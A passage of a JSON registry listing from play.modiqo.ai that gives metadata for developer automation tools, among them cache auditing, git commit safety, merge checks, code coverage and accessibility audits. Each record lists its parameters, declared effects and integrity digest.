currency, timezone or A/B variant, which is wrong output rather than somebody else's data. Seven correct patterns are recognised and never reported. JS/TS, Python, Go, Ruby, Java, Kotlin. Read-only, offline.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","security-workflows","job-cache-correctness-audit","tool-static-analysis","effect-read-only","cache-keys","cache-poisoning","cross-tenant-leak","tenant-isolation","vary-header","cache-control","s-maxage","lru-cache","memoization","shared-cache","cross-user-leak","authorization-header","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.1.4","published_at":"2026-09-06T00:59:21.617081+00:00","visibility":"public","quality_score":1,"size_bytes":40978,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory tree whose cache writes and cache keys should be audited. A relative path is refused, because a step runs in rote's own workspace rather than your shell directory.","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for source files","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:304c331ca2a8c4d71307630390ed1b71e4a4c08299d43afa9e0995a7d1de6d9e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":12,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rishith-c/precog-preflight@0.1.1","reference":"rishith-c/precog-preflight@0.1.1","uri":"https://play.modiqo.ai/rishith-c/precog-preflight@0.1.1","manifest_uri":"https://play.modiqo.ai/rishith-c/precog-preflight@0.1.1","name":"precog-preflight","title":"precog-preflight","description":"Neural pre-flight for a landing page: renders it in real Chrome, measures pixels and copy, forecasts CTA click-through with every coefficient printed, and ranks what to change. Exits non-zero on a weak grade so it can gate a deploy.","owner":{"kind":"user","slug":"rishith-c"},"registry_organization":"rishith-c","tags":["precog","landing-page","ctr","conversion","neuroscience","pre-flight","saas","read-only","no-credentials"],"primary_domain":"domain-uncategorized","author":"Rishith Chennupati","version":"0.1.1","published_at":"2026-09-06T00:44:58.443595+00:00","visibility":"public","quality_score":1,"size_bytes":6197,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":2,"names":["report","analyze"]},"parameters":[{"name":"url","type":"string","required":true,"description":"Landing page to pre-flight; scheme optional (sent as the url query field of GET /api/analyze)"},{"name":"host","type":"string","required":false,"default":"https://precog-tau.vercel.app","description":"Precog origin; change only to point at a self-hosted instance"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:54fe351369b72aa7d6abb6fa01dc301d47fcbec40f6a349445e6f0860978f9df","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/bhanu82/find-wasted-tokens@0.2.0","reference":"bhanu82/find-wasted-tokens@0.2.0","uri":"https://play.modiqo.ai/bhanu82/find-wasted-tokens@0.2.0","manifest_uri":"https://play.modiqo.ai/bhanu82/find-wasted-tokens@0.2.0","name":"find-wasted-tokens","title":"find-wasted-tokens","description":"Find giant files and useless junk eating up your AI tokens. Scans your AI agent's chat history to show which files were loaded into memory but never actually used, and what you can safely remove. A scope inventory runs in parallel with the influence analysis. Zero setup, zero API keys, needs only python3.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-context-audit","audience-developers","transcript-analysis","agent-context"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.2.0","published_at":"2026-09-05T13:23:12.785179+00:00","visibility":"public","quality_score":1,"size_bytes":9645,"license":"MIT","stats":{"downloads":4,"installs":0},"steps":{"count":2,"names":["session_inventory","locate_context_payload"]},"parameters":[{"name":"transcript_path","type":"string","required":false,"default":"","description":"A local JSONL transcript file or directory; when empty, scan the local Codex and Claude roots then use the bundled sample if none exist.","example":"~/.codex/sessions"},{"name":"codex_root","type":"string","required":false,"default":"~/.codex/sessions","description":"Local Codex sessions root scanned only when transcript_path is empty.","example":"~/.codex/sessions/2026"},{"name":"claude_root","type":"string","required":false,"default":"~/.claude/projects","description":"Local Claude Code projects root scanned only when transcript_path is empty.","example":"~/.claude/projects/-Users-me-project"},{"name":"max_sessions","type":"integer","required":false,"default":"30","description":"Maximum JSONL transcript files to inspect, newest first.","example":"10"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3a1e53b1a442316affeef961f4acb57ce67f3ed8274859fa35ad9431b9af3eff","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dezloper/git-commit-and-push@0.1.5","reference":"dezloper/git-commit-and-push@0.1.5","uri":"https://play.modiqo.ai/dezloper/git-commit-and-push@0.1.5","manifest_uri":"https://play.modiqo.ai/dezloper/git-commit-and-push@0.1.5","name":"git-commit-and-push","title":"git-commit-and-push","description":"Stages your changes, writes the commit message for you, and pushes. The message is written by an AI coding assistant you already have installed and signed in (claude, codex or gemini), so this play needs no API key of its own. Before it stages anything it looks at what you are about to commit and refuses if it finds a credential file, a file over the size limit, or a line that looks like a live secret such as a private key, cloud key, token or JWT. Use message= to write your own text and skip the AI. Use dry_run=true to see the commit message and the file list without committing or pushing. This play writes: it stages, commits, and pushes to your remote. It is a git push safety net: the guard runs before staging, so a dotenv file or an environment variable holding a live key never reaches your remote. The guard deliberately allows the safe cases: .env.example and .sample templates, and files whose only change is a deletion, are never blocked.","owner":{"kind":"user","slug":"dezloper"},"registry_organization":"dezloper","tags":["domain-engineering","engineering-workflows","job-commit","tool-git","audience-developers","effect-write"],"primary_domain":"domain-engineering","author":"rote clean-room authoring","version":"0.1.5","published_at":"2026-09-05T11:33:36.209963+00:00","visibility":"public","quality_score":1,"size_bytes":17843,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":8,"names":["push","guard","stage","commit","preflight","staged_diff","compose_message","survey_assistant"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Path to the git repository. Defaults to the directory you run the play from; relative paths resolve against it.","example":"apps/frontend"},{"name":"message","type":"string","required":false,"default":"","description":"Write the commit message yourself. Skips the assistant entirely.","example":"fix: correct rounding in the funding calculation"},{"name":"assistant","type":"string","required":false,"default":"","description":"Which assistant writes the message (claude, codex or gemini). Chosen automatically when omitted.","values":["claude","codex","gemini"],"example":"claude"},{"name":"push","type":"string","required":false,"default":"true","description":"Push after committing. Set false to commit locally only.","values":["true","false"],"example":"false"},{"name":"dry_run","type":"string","required":false,"default":"false","description":"Preview everything including the message the assistant would write and write nothing at all.","values":["true","false"],"example":"true"},{"name":"protected_branches","type":"string","required":false,"default":"","description":"Comma-separated branches this play must refuse to push, e.g. \"main,production\". Empty by default.","example":"main,production"},{"name":"allow_paths","type":"string","required":false,"default":"","description":"Comma-separated globs the secret guard should let through, e.g. \"config/*.pem\".","example":"config/*.pem"},{"name":"max_file_mb","type":"string","required":false,"default":"5","description":"Refuse to stage any single file larger than this, in megabytes.","example":"5"},{"name":"timeout_seconds","type":"string","required":false,"default":"300","description":"Wall-clock budget for the assistant to write the message.","example":"300"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f00d946cb53f5f297c2b464295b57e7f58b4489e5adc4fd205489bc0175e5b6f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":7,"width":2,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/playbookacademy/merge-canary@1.0.2","reference":"playbookacademy/merge-canary@1.0.2","uri":"https://play.modiqo.ai/playbookacademy/merge-canary@1.0.2","manifest_uri":"https://play.modiqo.ai/playbookacademy/merge-canary@1.0.2","name":"merge-canary","title":"merge-canary","description":"Will your feature branch still work after merging latest main? Creates a temporary merge, checks for conflicts, and classifies the result as GREEN, TEXT_CONFLICT, SEMANTIC_CONFLICT, BRANCH_ALREADY_RED, or INDETERMINATE. Never modifies your current checkout. Read-only, no credentials.\n","owner":{"kind":"user","slug":"playbookacademy"},"registry_organization":"playbookacademy","tags":["domain-devtools","job-merge-safety","audience-developers","effect-read-only","multi-step-dag","value-edges"],"primary_domain":"domain-devtools","author":"playbookacademy","version":"1.0.2","published_at":"2026-09-05T10:45:42.429098+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5712,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":3,"names":["check_branch","simulate_merge","classify_result"]},"parameters":[{"name":"repo_path","type":"string","required":false,"default":".","description":"Path to the git repository","example":"."},{"name":"base_branch","type":"string","required":false,"default":"main","description":"Base branch to merge into (e.g. main, master)","example":"main"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:db08c034b03619c52c31fe626d19768610da1da0c0af2284ac588a8462c8a772","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/hackathon-team-sync@0.2.22","reference":"sakshamsai26/hackathon-team-sync@0.2.22","uri":"https://play.modiqo.ai/sakshamsai26/hackathon-team-sync@0.2.22","manifest_uri":"https://play.modiqo.ai/sakshamsai26/hackathon-team-sync@0.2.22","name":"hackathon-team-sync","title":"hackathon-team-sync","description":"Convert rough team updates into status, blockers, dependencies, ownership needs, and critical path. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.22","published_at":"2026-09-05T09:04:22.269492+00:00","visibility":"public","quality_score":1,"size_bytes":6401,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":9,"names":["scope","analyze","boundary","classify","inventory","preflight","constraints","verification","write_report"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:98538013308a4b1d58505fe5a57a34de65cc69fbd3b9a6e7a8282c865e2975d1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":9,"fan_out":0,"for_each_steps":0,"complexity":9,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/group-project-contribution-map@0.2.22","reference":"sakshamsai26/group-project-contribution-map@0.2.22","uri":"https://play.modiqo.ai/sakshamsai26/group-project-contribution-map@0.2.22","manifest_uri":"https://play.modiqo.ai/sakshamsai26/group-project-contribution-map@0.2.22","name":"group-project-contribution-map","title":"group-project-contribution-map","description":"Map local Git activity by area and overlap without treating commit counts as quality. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.22","published_at":"2026-09-05T09:01:49.191144+00:00","visibility":"public","quality_score":1,"size_bytes":6762,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":11,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4f7ceeb87c70291319f1928e58593d4c4506caf6c8bfaa125ca582fb86c248aa","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":11,"kinds":{"api":0,"shell":11,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":11,"fan_out":0,"for_each_steps":0,"complexity":11,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":11}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/code-review-question-generator@0.2.22","reference":"sakshamsai26/code-review-question-generator@0.2.22","uri":"https://play.modiqo.ai/sakshamsai26/code-review-question-generator@0.2.22","manifest_uri":"https://play.modiqo.ai/sakshamsai26/code-review-question-generator@0.2.22","name":"code-review-question-generator","title":"code-review-question-generator","description":"Generate evidence-linked review questions from local context and project signals. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.22","published_at":"2026-09-05T08:59:42.709638+00:00","visibility":"public","quality_score":1,"size_bytes":6751,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":11,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a7948b0b57014040630e4dccb73b6426fff784a0a25bc877e959b91d23c3232f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":11,"kinds":{"api":0,"shell":11,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":11,"fan_out":0,"for_each_steps":0,"complexity":11,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":11}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/config-ownership-mapper@0.2.23","reference":"sakshamsai26/config-ownership-mapper@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/config-ownership-mapper@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/config-ownership-mapper@0.2.23","name":"config-ownership-mapper","title":"config-ownership-mapper","description":"Map configuration definitions, consumers, overrides, and apparent ownership without printing values. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:34:00.65359+00:00","visibility":"public","quality_score":1,"size_bytes":8537,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":13,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4384e254ec5786376fb8d1c97309a9bf7071b2a6b47e618a0903ca1f34abc9fb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":13,"kinds":{"api":0,"shell":13,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":11,"fan_out":8,"for_each_steps":1,"complexity":13,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":13}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/dependency-breakup-planner@0.2.23","reference":"sakshamsai26/dependency-breakup-planner@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/dependency-breakup-planner@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/dependency-breakup-planner@0.2.23","name":"dependency-breakup-planner","title":"dependency-breakup-planner","description":"Map static local evidence before removing a dependency; never changes manifests or source. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:33:56.041572+00:00","visibility":"public","quality_score":1,"size_bytes":8547,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":13,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:facd4ea08e32985516383c3e00ba6723c99eeba85a8827d032e4266ca70577c4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":13,"kinds":{"api":0,"shell":13,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":11,"fan_out":8,"for_each_steps":1,"complexity":13,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":13}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/error-context-packager@0.3.3","reference":"sakshamsai26/error-context-packager@0.3.3","uri":"https://play.modiqo.ai/sakshamsai26/error-context-packager@0.3.3","manifest_uri":"https://play.modiqo.ai/sakshamsai26/error-context-packager@0.3.3","name":"error-context-packager","title":"error-context-packager","description":"Build a redacted debugging packet from a local project, save it as a new artifact, and optionally create a GitHub issue containing it. It never executes project code, overwrites files, or exposes secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","debugging","incident-response","artifact-authoring","github-issues","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.3.3","published_at":"2026-09-05T07:02:22.77738+00:00","visibility":"public","quality_score":1,"size_bytes":5883,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":4,"names":["package","auth_github","create_issue","write_packet"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute project path"},{"name":"error","type":"string","required":true,"description":"Error or stack trace; credential-like values are redacted"},{"name":"output_dir","type":"string","required":true,"description":"Absolute directory for the newly written debug-packet.md artifact. Existing artifacts are never overwritten."},{"name":"github_owner","type":"string","required":false,"default":"","description":"GitHub repository owner"},{"name":"github_repo","type":"string","required":false,"default":"","description":"GitHub repository name"},{"name":"publish_issue","type":"boolean","required":false,"default":false,"description":"Create a GitHub issue containing the generated packet. Defaults to false."}],"execution":{"adapters":[{"id":"sakshamsai26/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":["create_issue"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:0099fb0f4976265a91210e1f9eab31d1664075e475f68ca0634c9bf3127f294d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":1,"shell":2,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[{"adapter":"github","steps":2,"methods":["issues/create"],"display_name":"github","host":"api.github.com","kind":"rest","tools":1224,"fingerprint":"mcp_uogxetWJ9s2mSDiBKftmvwkDfu","source":"sakshamsai26/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":["create_issue"],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":1,"tools":1224},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/himanshu-jha/shipped-but-never-runs@0.2.2","reference":"himanshu-jha/shipped-but-never-runs@0.2.2","uri":"https://play.modiqo.ai/himanshu-jha/shipped-but-never-runs@0.2.2","manifest_uri":"https://play.modiqo.ai/himanshu-jha/shipped-but-never-runs@0.2.2","name":"shipped-but-never-runs","title":"shipped-but-never-runs","description":"Measures how much of the code your page ships actually runs, by running it. A bundler tells you how large a file is; it cannot tell you that nine tenths of it never executes for somebody who opens the page and reads it. That answer only exists at runtime, so this starts Chromium with the engine's own precise coverage instrumentation and CSS rule tracking on, loads your build, and reads back which source ranges of which scripts executed and which style rules ever matched an element. On the bundled demo it finds that 96 percent of the JavaScript and 97 percent of the CSS are downloaded, parsed and never touched. Three moments are measured in parallel, because one number would mislead: at load is what a reader pays for before they see anything, after a bounded, completion-checked whole-page scroll is what an intersection observer adds, and after an idle wait is what deferred and timed work adds. Agreement requires identical source corpora and executed ranges. A larger lazy-loaded footprint is shown explicitly, not hidden by unchanged used counts. The one thing this play refuses to say is dead code. Script that did not run during a load is not unreachable: it is click handlers, routes, error paths and features nobody touched in those seconds. The number measures code a reader downloads and parses but does not use. Its own hardest bug is recorded in the source: V8 reports nested ranges, so painting only the positive ones reports every bundle as fully used, and ranges are painted widest first so an inner never-called function overwrites the enclosing wrapper that did run. Read-only with respect to the selected project: it serves regular build files on 127.0.0.1 through no-follow file descriptors, refuses symlinks, hidden files and traversal, and runs an ephemeral browser profile. Source sizes are Unicode characters, mapped from the engine’s UTF-16 offsets, not network bytes.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-developers","domain-engineering","tool-browser","job-performance-audit","frontend","composition"],"primary_domain":"domain-engineering","author":"himanshu748","version":"0.2.2","published_at":"2026-09-05T05:14:45.475267+00:00","visibility":"public","quality_score":1,"size_bytes":30914,"license":"MIT","stats":{"downloads":4,"installs":0},"steps":{"count":5,"names":["locate","report","at_load","after_idle","after_scroll"]},"parameters":[{"name":"path","type":"string","required":false,"default":"","description":"Absolute path to the built output, or to the project holding it. Leave it out and the most recently built page under your usual project directories is run, with the report naming which one it chose; when this machine has no build at all, the bundled demo build is run and the report says so in its first line. A relative path is never right here: steps run in the play run workspace, not your shell.","example":"/Users/you/project/dist"},{"name":"timeout_ms","type":"string","required":false,"default":"30000","description":"How long a single page load may take before that moment is reported as not run rather than as adding nothing.","example":"30000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5968918d84abc3daaccfdeee43e46d76dc81064932d6954fbbe7e04139c1d263","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/a11y-guard@0.7.1","reference":"lgoyal6/a11y-guard@0.7.1","uri":"https://play.modiqo.ai/lgoyal6/a11y-guard@0.7.1","manifest_uri":"https://play.modiqo.ai/lgoyal6/a11y-guard@0.7.1","name":"a11y-guard","title":"a11y-guard","description":"Audits JSX, TSX, HTML, Vue and Svelte files for accessibility barriers that actually block people: images with no alt text, click handlers on elements no keyboard can reach, form fields with no accessible name, interactive elements hidden from screen readers, and media with no captions. Every finding cites its WCAG success criterion and the fix. Tags are parsed with a brace-aware scanner, so JSX arrow functions in attributes do not corrupt results, and comments never produce findings. Read-only, no build step, no browser, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","frontend-workflows","job-accessibility-audit","tool-wcag","effect-read-only","accessibility","a11y","wcag","alt-text","missing-alt-text","keyboard-navigation","screen-reader","aria-hidden","accessible-name","captions","jsx","vue","svelte","audience-frontend-developers","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.7.1","published_at":"2026-09-04T22:28:10.158828+00:00","visibility":"public","quality_score":1,"size_bytes":8902,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory containing markup files to 